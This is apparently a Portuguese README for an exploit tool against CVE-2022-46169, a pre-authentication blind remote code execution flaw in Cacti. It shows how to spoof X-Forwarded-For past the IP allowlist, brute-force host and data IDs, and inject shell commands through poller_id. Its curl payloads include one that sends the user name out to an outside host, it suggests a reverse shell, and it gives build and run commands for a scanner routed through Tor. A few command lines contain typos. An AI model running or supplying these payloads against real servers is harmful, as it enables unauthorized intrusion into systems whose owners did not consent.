
CVE-2022-46169 - Execução Remota de Código Cega no Cacti (Pré-Autenticação)
Execução Remota de Código Cega no Cacti (Pré-Autenticação)
Isso é apenas para fins educacionais. Não sou responsável por suas ações. Use por sua conta e risco.
Este script realiza força bruta nas variáveis necessárias para explorar esta vulnerabilidade. Este exploit requer as seguintes 3 variáveis:
host_id corretolocal_data_ids corretoO arquivo remote_agent.php é protegido por uma lista branca de IPs. Você pode contornar isso falsificando seu endereço IP no cabeçalho X-Forwarded-IP. A maioria das instâncias terá 127.0.0.1 ou o próprio endereço IP do servidor na lista branca.
Em seguida, você precisa fazer força bruta nos parâmetros de requisição host_id e local_data_ids. Isso é feito enumerando pares de inteiros x,y a partir de um valor mínimo padrão de 1 e máximo de 10.
Exemplo de Requisição
pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
"https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"
[]
Depois de obter essas 3 variáveis, você pode injetar um comando shell na chave poller_id e escapar dele colocando um ; antes do seu comando.
Isso é um RCE cego, então você precisa enviar a saída do seu comando para algum lugar como interact.sh ou abrir um reverse shell. Lembre-se de codificar a URL do valor de poller_id!
O seguinte executa o comando ping $(whoami).test.com
curl -k -H "X-Forwarded-For: 127.0.0.01" \
"https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"
O script gera a saída no formato CSV. Os cabeçalhos são "target", "ip", "host_id", "data_id", "url".
Se o valor de url estiver ausente, significa que o script conseguiu contornar a restrição de IP, mas não conseguiu fazer força bruta nos IDs com sucesso. Você pode pegar essa saída e definir um valor máximo maior para tentar novamente.
Você pode usar os seguintes comandos para analisar rapidamente o arquivo de saída
tail -n +2 results.csv | cut -d ',' -f1 | sort -u
tail -n +2 results.csv | cut -d ',' -f5 | sort -u
go build -v -o bruteforce bruteforce.go
./bruteforce -l targets.txt -t 50 -min 1 -max 10
-proxy socks5://127.0.0.1:9050results.csv